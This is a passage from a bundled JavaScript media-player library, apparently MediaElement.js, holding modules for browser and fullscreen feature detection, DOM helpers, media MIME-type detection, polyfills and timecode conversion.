exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NAV = exports.NAV = _window2.default.navigator;
var UA = exports.UA = NAV.userAgent.toLowerCase();
var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA);
var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName);
var IS_EDGE = exports.IS_EDGE = &#039;msLaunchUri&#039; in NAV &amp;&amp; !(&#039;documentMode&#039; in _document2.default);
var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA);
var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA);
var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) &amp;&amp; !IS_CHROME;
var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA);
var HAS_MSE = exports.HAS_MSE = &#039;MediaSource&#039; in _window2.default;
var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () {
	var element = _document2.default.createElement(&#039;x&#039;),
	    documentElement = _document2.default.documentElement,
	    getComputedStyle = _window2.default.getComputedStyle;

	if (!(&#039;pointerEvents&#039; in element.style)) {
		return false;
	}

	element.style.pointerEvents = &#039;auto&#039;;
	element.style.pointerEvents = &#039;x&#039;;
	documentElement.appendChild(element);
	var supports = getComputedStyle &amp;&amp; (getComputedStyle(element, &#039;&#039;) || {}).pointerEvents === &#039;auto&#039;;
	element.remove();
	return !!supports;
}();

var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () {
	var supportsPassive = false;
	try {
		var opts = Object.defineProperty({}, &#039;passive&#039;, {
			get: function get() {
				supportsPassive = true;
			}
		});
		_window2.default.addEventListener(&#039;test&#039;, null, opts);
	} catch (e) {}

	return supportsPassive;
}();

var html5Elements = [&#039;source&#039;, &#039;track&#039;, &#039;audio&#039;, &#039;video&#039;];
var video = void 0;

for (var i = 0, total = html5Elements.length; i &lt; total; i++) {
	video = _document2.default.createElement(html5Elements[i]);
}

var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE &amp;&amp; /edge/i.test(UA);

var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined;

var hasNativeFullscreen = video.requestFullscreen !== undefined;

if (hasiOSFullScreen &amp;&amp; /mac os x 10_5/i.test(UA)) {
	hasNativeFullscreen = false;
	hasiOSFullScreen = false;
}

var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined;
var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined;
var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined;
var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen;
var nativeFullScreenEnabled = hasTrueNativeFullScreen;
var fullScreenEventName = &#039;&#039;;
var isFullScreen = void 0,
    requestFullScreen = void 0,
    cancelFullScreen = void 0;

if (hasMozNativeFullScreen) {
	nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled;
} else if (hasMsNativeFullScreen) {
	nativeFullScreenEnabled = _document2.default.msFullscreenEnabled;
}

if (IS_CHROME) {
	hasiOSFullScreen = false;
}

if (hasTrueNativeFullScreen) {
	if (hasWebkitNativeFullScreen) {
		fullScreenEventName = &#039;webkitfullscreenchange&#039;;
	} else if (hasMozNativeFullScreen) {
		fullScreenEventName = &#039;fullscreenchange&#039;;
	} else if (hasMsNativeFullScreen) {
		fullScreenEventName = &#039;MSFullscreenChange&#039;;
	}

	exports.isFullScreen = isFullScreen = function isFullScreen() {
		if (hasMozNativeFullScreen) {
			return _document2.default.mozFullScreen;
		} else if (hasWebkitNativeFullScreen) {
			return _document2.default.webkitIsFullScreen;
		} else if (hasMsNativeFullScreen) {
			return _document2.default.msFullscreenElement !== null;
		}
	};

	exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) {
		if (hasWebkitNativeFullScreen) {
			el.webkitRequestFullScreen();
		} else if (hasMozNativeFullScreen) {
			el.mozRequestFullScreen();
		} else if (hasMsNativeFullScreen) {
			el.msRequestFullscreen();
		}
	};

	exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() {
		if (hasWebkitNativeFullScreen) {
			_document2.default.webkitCancelFullScreen();
		} else if (hasMozNativeFullScreen) {
			_document2.default.mozCancelFullScreen();
		} else if (hasMsNativeFullScreen) {
			_document2.default.msExitFullscreen();
		}
	};
}

var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen;
var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen;
var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen;
var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen;
var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen;
var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen;
var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled;
var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName;
exports.isFullScreen = isFullScreen;
exports.requestFullScreen = requestFullScreen;
exports.cancelFullScreen = cancelFullScreen;


_mejs2.default.Features = _mejs2.default.Features || {};
_mejs2.default.Features.isiPad = IS_IPAD;
_mejs2.default.Features.isiPod = IS_IPOD;
_mejs2.default.Features.isiPhone = IS_IPHONE;
_mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad;
_mejs2.default.Features.isAndroid = IS_ANDROID;
_mejs2.default.Features.isIE = IS_IE;
_mejs2.default.Features.isEdge = IS_EDGE;
_mejs2.default.Features.isChrome = IS_CHROME;
_mejs2.default.Features.isFirefox = IS_FIREFOX;
_mejs2.default.Features.isSafari = IS_SAFARI;
_mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID;
_mejs2.default.Features.hasMSE = HAS_MSE;
_mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS;
_mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS;
_mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT;
_mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN;
_mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN;
_mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED;
_mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME;
_mejs2.default.Features.isFullScreen = isFullScreen;
_mejs2.default.Features.requestFullScreen = requestFullScreen;
_mejs2.default.Features.cancelFullScreen = cancelFullScreen;

},{&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7}],26:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.removeClass = exports.addClass = exports.hasClass = undefined;
exports.loadScript = loadScript;
exports.offset = offset;
exports.toggleClass = toggleClass;
exports.fadeOut = fadeOut;
exports.fadeIn = fadeIn;
exports.siblings = siblings;
exports.visible = visible;
exports.ajax = ajax;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function loadScript(url) {
	return new Promise(function (resolve, reject) {
		var script = _document2.default.createElement(&#039;script&#039;);
		script.src = url;
		script.async = true;
		script.onload = function () {
			script.remove();
			resolve();
		};
		script.onerror = function () {
			script.remove();
			reject();
		};
		_document2.default.head.appendChild(script);
	});
}

function offset(el) {
	var rect = el.getBoundingClientRect(),
	    scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft,
	    scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop;
	return { top: rect.top + scrollTop, left: rect.left + scrollLeft };
}

var hasClassMethod = void 0,
    addClassMethod = void 0,
    removeClassMethod = void 0;

if (&#039;classList&#039; in _document2.default.documentElement) {
	hasClassMethod = function hasClassMethod(el, className) {
		return el.classList !== undefined &amp;&amp; el.classList.contains(className);
	};
	addClassMethod = function addClassMethod(el, className) {
		return el.classList.add(className);
	};
	removeClassMethod = function removeClassMethod(el, className) {
		return el.classList.remove(className);
	};
} else {
	hasClassMethod = function hasClassMethod(el, className) {
		return new RegExp(&#039;\\b&#039; + className + &#039;\\b&#039;).test(el.className);
	};
	addClassMethod = function addClassMethod(el, className) {
		if (!hasClass(el, className)) {
			el.className += &#039; &#039; + className;
		}
	};
	removeClassMethod = function removeClassMethod(el, className) {
		el.className = el.className.replace(new RegExp(&#039;\\b&#039; + className + &#039;\\b&#039;, &#039;g&#039;), &#039;&#039;);
	};
}

var hasClass = exports.hasClass = hasClassMethod;
var addClass = exports.addClass = addClassMethod;
var removeClass = exports.removeClass = removeClassMethod;

function toggleClass(el, className) {
	hasClass(el, className) ? removeClass(el, className) : addClass(el, className);
}

function fadeOut(el) {
	var duration = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : 400;
	var callback = arguments[2];

	if (!el.style.opacity) {
		el.style.opacity = 1;
	}

	var start = null;
	_window2.default.requestAnimationFrame(function animate(timestamp) {
		start = start || timestamp;
		var progress = timestamp - start;
		var opacity = parseFloat(1 - progress / duration, 2);
		el.style.opacity = opacity &lt; 0 ? 0 : opacity;
		if (progress &gt; duration) {
			if (callback &amp;&amp; typeof callback === &#039;function&#039;) {
				callback();
			}
		} else {
			_window2.default.requestAnimationFrame(animate);
		}
	});
}

function fadeIn(el) {
	var duration = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : 400;
	var callback = arguments[2];

	if (!el.style.opacity) {
		el.style.opacity = 0;
	}

	var start = null;
	_window2.default.requestAnimationFrame(function animate(timestamp) {
		start = start || timestamp;
		var progress = timestamp - start;
		var opacity = parseFloat(progress / duration, 2);
		el.style.opacity = opacity &gt; 1 ? 1 : opacity;
		if (progress &gt; duration) {
			if (callback &amp;&amp; typeof callback === &#039;function&#039;) {
				callback();
			}
		} else {
			_window2.default.requestAnimationFrame(animate);
		}
	});
}

function siblings(el, filter) {
	var siblings = [];
	el = el.parentNode.firstChild;
	do {
		if (!filter || filter(el)) {
			siblings.push(el);
		}
	} while (el = el.nextSibling);
	return siblings;
}

function visible(elem) {
	if (elem.getClientRects !== undefined &amp;&amp; elem.getClientRects === &#039;function&#039;) {
		return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length);
	}
	return !!(elem.offsetWidth || elem.offsetHeight);
}

function ajax(url, dataType, success, error) {
	var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(&#039;Microsoft.XMLHTTP&#039;);

	var type = &#039;application/x-www-form-urlencoded; charset=UTF-8&#039;,
	    completed = false,
	    accept = &#039;*/&#039;.concat(&#039;*&#039;);

	switch (dataType) {
		case &#039;text&#039;:
			type = &#039;text/plain&#039;;
			break;
		case &#039;json&#039;:
			type = &#039;application/json, text/javascript&#039;;
			break;
		case &#039;html&#039;:
			type = &#039;text/html&#039;;
			break;
		case &#039;xml&#039;:
			type = &#039;application/xml, text/xml&#039;;
			break;
	}

	if (type !== &#039;application/x-www-form-urlencoded&#039;) {
		accept = type + &#039;, */*; q=0.01&#039;;
	}

	if (xhr) {
		xhr.open(&#039;GET&#039;, url, true);
		xhr.setRequestHeader(&#039;Accept&#039;, accept);
		xhr.onreadystatechange = function () {
			if (completed) {
				return;
			}

			if (xhr.readyState === 4) {
				if (xhr.status === 200) {
					completed = true;
					var data = void 0;
					switch (dataType) {
						case &#039;json&#039;:
							data = JSON.parse(xhr.responseText);
							break;
						case &#039;xml&#039;:
							data = xhr.responseXML;
							break;
						default:
							data = xhr.responseText;
							break;
					}
					success(data);
				} else if (typeof error === &#039;function&#039;) {
					error(xhr.status);
				}
			}
		};

		xhr.send();
	}
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.offset = offset;
_mejs2.default.Utils.hasClass = hasClass;
_mejs2.default.Utils.addClass = addClass;
_mejs2.default.Utils.removeClass = removeClass;
_mejs2.default.Utils.toggleClass = toggleClass;
_mejs2.default.Utils.fadeIn = fadeIn;
_mejs2.default.Utils.fadeOut = fadeOut;
_mejs2.default.Utils.siblings = siblings;
_mejs2.default.Utils.visible = visible;
_mejs2.default.Utils.ajax = ajax;
_mejs2.default.Utils.loadScript = loadScript;

},{&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7}],27:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.escapeHTML = escapeHTML;
exports.debounce = debounce;
exports.isObjectEmpty = isObjectEmpty;
exports.splitEvents = splitEvents;
exports.createEvent = createEvent;
exports.isNodeAfter = isNodeAfter;
exports.isString = isString;

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function escapeHTML(input) {

	if (typeof input !== &#039;string&#039;) {
		throw new Error(&#039;Argument passed must be a string&#039;);
	}

	var map = {
		&#039;&amp;&#039;: &#039;&amp;amp;&#039;,
		&#039;&lt;&#039;: &#039;&amp;lt;&#039;,
		&#039;&gt;&#039;: &#039;&amp;gt;&#039;,
		&#039;&quot;&#039;: &#039;&amp;quot;&#039;
	};

	return input.replace(/[&amp;&lt;&gt;&quot;]/g, function (c) {
		return map[c];
	});
}

function debounce(func, wait) {
	var _this = this,
	    _arguments = arguments;

	var immediate = arguments.length &gt; 2 &amp;&amp; arguments[2] !== undefined ? arguments[2] : false;


	if (typeof func !== &#039;function&#039;) {
		throw new Error(&#039;First argument must be a function&#039;);
	}

	if (typeof wait !== &#039;number&#039;) {
		throw new Error(&#039;Second argument must be a numeric value&#039;);
	}

	var timeout = void 0;
	return function () {
		var context = _this,
		    args = _arguments;
		var later = function later() {
			timeout = null;
			if (!immediate) {
				func.apply(context, args);
			}
		};
		var callNow = immediate &amp;&amp; !timeout;
		clearTimeout(timeout);
		timeout = setTimeout(later, wait);

		if (callNow) {
			func.apply(context, args);
		}
	};
}

function isObjectEmpty(instance) {
	return Object.getOwnPropertyNames(instance).length &lt;= 0;
}

function splitEvents(events, id) {
	var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/;

	var ret = { d: [], w: [] };
	(events || &#039;&#039;).split(&#039; &#039;).forEach(function (v) {
		var eventName = &#039;&#039; + v + (id ? &#039;.&#039; + id : &#039;&#039;);

		if (eventName.startsWith(&#039;.&#039;)) {
			ret.d.push(eventName);
			ret.w.push(eventName);
		} else {
			ret[rwindow.test(v) ? &#039;w&#039; : &#039;d&#039;].push(eventName);
		}
	});

	ret.d = ret.d.join(&#039; &#039;);
	ret.w = ret.w.join(&#039; &#039;);
	return ret;
}

function createEvent(eventName, target) {

	if (typeof eventName !== &#039;string&#039;) {
		throw new Error(&#039;Event name must be a string&#039;);
	}

	var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i),
	    detail = {
		target: target
	};

	if (eventFrags !== null) {
		eventName = eventFrags[1];
		detail.namespace = eventFrags[2];
	}

	return new window.CustomEvent(eventName, {
		detail: detail
	});
}

function isNodeAfter(sourceNode, targetNode) {

	return !!(sourceNode &amp;&amp; targetNode &amp;&amp; sourceNode.compareDocumentPosition(targetNode) &amp; 2);
}

function isString(value) {
	return typeof value === &#039;string&#039;;
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.escapeHTML = escapeHTML;
_mejs2.default.Utils.debounce = debounce;
_mejs2.default.Utils.isObjectEmpty = isObjectEmpty;
_mejs2.default.Utils.splitEvents = splitEvents;
_mejs2.default.Utils.createEvent = createEvent;
_mejs2.default.Utils.isNodeAfter = isNodeAfter;
_mejs2.default.Utils.isString = isString;

},{&quot;7&quot;:7}],28:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.typeChecks = undefined;
exports.absolutizeUrl = absolutizeUrl;
exports.formatType = formatType;
exports.getMimeFromType = getMimeFromType;
exports.getTypeFromFile = getTypeFromFile;
exports.getExtension = getExtension;
exports.normalizeExtension = normalizeExtension;

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _general = _dereq_(27);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var typeChecks = exports.typeChecks = [];

function absolutizeUrl(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	var el = document.createElement(&#039;div&#039;);
	el.innerHTML = &#039;&lt;a href=&quot;&#039; + (0, _general.escapeHTML)(url) + &#039;&quot;&gt;x&lt;/a&gt;&#039;;
	return el.firstChild.href;
}

function formatType(url) {
	var type = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : &#039;&#039;;

	return url &amp;&amp; !type ? getTypeFromFile(url) : type;
}

function getMimeFromType(type) {

	if (typeof type !== &#039;string&#039;) {
		throw new Error(&#039;`type` argument must be a string&#039;);
	}

	return type &amp;&amp; type.indexOf(&#039;;&#039;) &gt; -1 ? type.substr(0, type.indexOf(&#039;;&#039;)) : type;
}

function getTypeFromFile(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	for (var i = 0, total = typeChecks.length; i &lt; total; i++) {
		var type = typeChecks[i](url);

		if (type) {
			return type;
		}
	}

	var ext = getExtension(url),
	    normalizedExt = normalizeExtension(ext);

	var mime = &#039;video/mp4&#039;;

	if (normalizedExt) {
		if (~[&#039;mp4&#039;, &#039;m4v&#039;, &#039;ogg&#039;, &#039;ogv&#039;, &#039;webm&#039;, &#039;flv&#039;, &#039;mpeg&#039;].indexOf(normalizedExt)) {
			mime = &#039;video/&#039; + normalizedExt;
		} else if (&#039;mov&#039; === normalizedExt) {
			mime = &#039;video/quicktime&#039;;
		} else if (~[&#039;mp3&#039;, &#039;oga&#039;, &#039;wav&#039;, &#039;mid&#039;, &#039;midi&#039;].indexOf(normalizedExt)) {
			mime = &#039;audio/&#039; + normalizedExt;
		}
	}

	return mime;
}

function getExtension(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	var baseUrl = url.split(&#039;?&#039;)[0],
	    baseName = baseUrl.split(&#039;\\&#039;).pop().split(&#039;/&#039;).pop();
	return ~baseName.indexOf(&#039;.&#039;) ? baseName.substring(baseName.lastIndexOf(&#039;.&#039;) + 1) : &#039;&#039;;
}

function normalizeExtension(extension) {

	if (typeof extension !== &#039;string&#039;) {
		throw new Error(&#039;`extension` argument must be a string&#039;);
	}

	switch (extension) {
		case &#039;mp4&#039;:
		case &#039;m4v&#039;:
			return &#039;mp4&#039;;
		case &#039;webm&#039;:
		case &#039;webma&#039;:
		case &#039;webmv&#039;:
			return &#039;webm&#039;;
		case &#039;ogg&#039;:
		case &#039;oga&#039;:
		case &#039;ogv&#039;:
			return &#039;ogg&#039;;
		default:
			return extension;
	}
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.typeChecks = typeChecks;
_mejs2.default.Utils.absolutizeUrl = absolutizeUrl;
_mejs2.default.Utils.formatType = formatType;
_mejs2.default.Utils.getMimeFromType = getMimeFromType;
_mejs2.default.Utils.getTypeFromFile = getTypeFromFile;
_mejs2.default.Utils.getExtension = getExtension;
_mejs2.default.Utils.normalizeExtension = normalizeExtension;

},{&quot;27&quot;:27,&quot;7&quot;:7}],29:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _promisePolyfill = _dereq_(4);

var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

(function (arr) {
	arr.forEach(function (item) {
		if (item.hasOwnProperty(&#039;remove&#039;)) {
			return;
		}
		Object.defineProperty(item, &#039;remove&#039;, {
			configurable: true,
			enumerable: true,
			writable: true,
			value: function remove() {
				this.parentNode.removeChild(this);
			}
		});
	});
})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);

(function () {

	if (typeof window.CustomEvent === &#039;function&#039;) {
		return false;
	}

	function CustomEvent(event, params) {
		params = params || { bubbles: false, cancelable: false, detail: undefined };
		var evt = _document2.default.createEvent(&#039;CustomEvent&#039;);
		evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
		return evt;
	}

	CustomEvent.prototype = window.Event.prototype;
	window.CustomEvent = CustomEvent;
})();

if (typeof Object.assign !== &#039;function&#039;) {
	Object.assign = function (target) {

		if (target === null || target === undefined) {
			throw new TypeError(&#039;Cannot convert undefined or null to object&#039;);
		}

		var to = Object(target);

		for (var index = 1, total = arguments.length; index &lt; total; index++) {
			var nextSource = arguments[index];

			if (nextSource !== null) {
				for (var nextKey in nextSource) {
					if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
						to[nextKey] = nextSource[nextKey];
					}
				}
			}
		}
		return to;
	};
}

if (!String.prototype.startsWith) {
	String.prototype.startsWith = function (searchString, position) {
		position = position || 0;
		return this.substr(position, searchString.length) === searchString;
	};
}

if (!Element.prototype.matches) {
	Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) {
		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
		    i = matches.length - 1;
		while (--i &gt;= 0 &amp;&amp; matches.item(i) !== this) {}
		return i &gt; -1;
	};
}

if (window.Element &amp;&amp; !Element.prototype.closest) {
	Element.prototype.closest = function (s) {
		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
		    i = void 0,
		    el = this;
		do {
			i = matches.length;
			while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {}
		} while (i &lt; 0 &amp;&amp; (el = el.parentElement));
		return el;
	};
}

(function () {
	var lastTime = 0;
	var vendors = [&#039;ms&#039;, &#039;moz&#039;, &#039;webkit&#039;, &#039;o&#039;];
	for (var x = 0; x &lt; vendors.length &amp;&amp; !window.requestAnimationFrame; ++x) {
		window.requestAnimationFrame = window[vendors[x] + &#039;RequestAnimationFrame&#039;];
		window.cancelAnimationFrame = window[vendors[x] + &#039;CancelAnimationFrame&#039;] || window[vendors[x] + &#039;CancelRequestAnimationFrame&#039;];
	}

	if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) {
		var currTime = new Date().getTime();
		var timeToCall = Math.max(0, 16 - (currTime - lastTime));
		var id = window.setTimeout(function () {
			callback(currTime + timeToCall);
		}, timeToCall);
		lastTime = currTime + timeToCall;
		return id;
	};

	if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) {
		clearTimeout(id);
	};
})();

if (/firefox/i.test(navigator.userAgent)) {
	var getComputedStyle = window.getComputedStyle;
	window.getComputedStyle = function (el, pseudoEl) {
		var t = getComputedStyle(el, pseudoEl);
		return t === null ? { getPropertyValue: function getPropertyValue() {} } : t;
	};
}

if (!window.Promise) {
	window.Promise = _promisePolyfill2.default;
}

(function (constructor) {
	if (constructor &amp;&amp; constructor.prototype &amp;&amp; constructor.prototype.children === null) {
		Object.defineProperty(constructor.prototype, &#039;children&#039;, {
			get: function get() {
				var i = 0,
				    node = void 0,
				    nodes = this.childNodes,
				    children = [];
				while (node = nodes[i++]) {
					if (node.nodeType === 1) {
						children.push(node);
					}
				}
				return children;
			}
		});
	}
})(window.Node || window.Element);

},{&quot;2&quot;:2,&quot;4&quot;:4}],30:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.isDropFrame = isDropFrame;
exports.secondsToTimeCode = secondsToTimeCode;
exports.timeCodeToSeconds = timeCodeToSeconds;
exports.calculateTimeFormat = calculateTimeFormat;
exports.convertSMPTEtoSeconds = convertSMPTEtoSeconds;

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function isDropFrame() {
	var fps = arguments.length &gt; 0 &amp;&amp; arguments[0] !== undefined ? arguments[0] : 25;

	return !(fps % 1 === 0);
}
function secondsToTimeCode(time) {
	var forceHours = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : false;
	var showFrameCount = arguments.length &gt; 2 &amp;&amp; arguments[2] !== undefined ? arguments[2] : false;
	var fps = arguments.length &gt; 3 &amp;&amp; arguments[3] !== undefined ? arguments[3] : 25;
	var secondsDecimalLength = arguments.length &gt; 4 &amp;&amp; arguments[4] !== undefined ? arguments[4] : 0;
	var timeFormat = arguments.length &gt; 5 &amp;&amp; arguments[5] !== undefined ? arguments[5] : &#039;hh:mm:ss&#039;;


	time = !time || typeof time !== &#039;number&#039; || time &lt; 0 ? 0 : time;

	var dropFrames = Math.round(fps * 0.066666),
	    timeBase = Math.round(fps),
	    framesPer24Hours = Math.round(fps * 3600) * 24,
	    framesPer10Minutes = Math.round(fps * 600),
	    frameSep = isDropFrame(fps) ? &#039;;&#039; : &#039;:&#039;,
	    hours = void 0,
	    minutes = void 0,
	    seconds = void 0,
	    frames = void 0,
	    f = Math.round(time * fps);

	if (isDropFrame(fps)) {

		if (f &lt; 0) {
			f = framesPer24Hours + f;
		}

		f = f % framesPer24Hours;

		var d = Math.floor(f / framesPer10Minutes);
		var m = f % framesPer10Minutes;
		f = f + dropFrames * 9 * d;
		if (m &gt; dropFrames) {
			f = f + dropFrames * Math.floor((m - dropFrames) / Math.round(timeBase * 60 - dropFrames));
		}

		var timeBaseDivision = Math.floor(f / timeBase);

		hours = Math.floor(Math.floor(timeBaseDivision / 60) / 60);
		minutes = Math.floor(timeBaseDivision / 60) % 60;

		if (showFrameCount) {
			seconds = timeBaseDivision % 60;
		} else {
			seconds = Math.floor(f / timeBase % 60).toFixed(secondsDecimalLength);
		}
	} else {
		hours = Math.floor(time / 3600) % 24;
		minutes = Math.floor(time / 60) % 60;
		if (showFrameCount) {
			seconds = Math.floor(time % 60);
		} else {
			seconds = Math.floor(time % 60).toFixed(secondsDecimalLength);
		}
	}
	hours = hours &lt;= 0 ? 0 : hours;
	minutes = minutes &lt;= 0 ? 0 : minutes;
	seconds = seconds &lt;= 0 ? 0 : seconds;

	seconds = seconds === 60 ? 0 : seconds;
	minutes = minutes === 60 ? 0 : minutes;

	var timeFormatFrags = timeFormat.split(&#039;:&#039;);
	var timeFormatSettings = {};
	for (var i = 0, total = timeFormatFrags.length; i &lt; total; ++i) {
		var unique = &#039;&#039;;
		for (var j = 0, t = timeFormatFrags[i].length; j &lt; t; j++) {
			if (unique.indexOf(timeFormatFrags[i][j]) &lt; 0) {
				unique += timeFormatFrags[i][j];
			}
		}
		if (~[&#039;f&#039;, &#039;s&#039;, &#039;m&#039;, &#039;h&#039;].indexOf(unique)) {
			timeFormatSettings[unique] = timeFormatFrags[i].length;
		}
	}

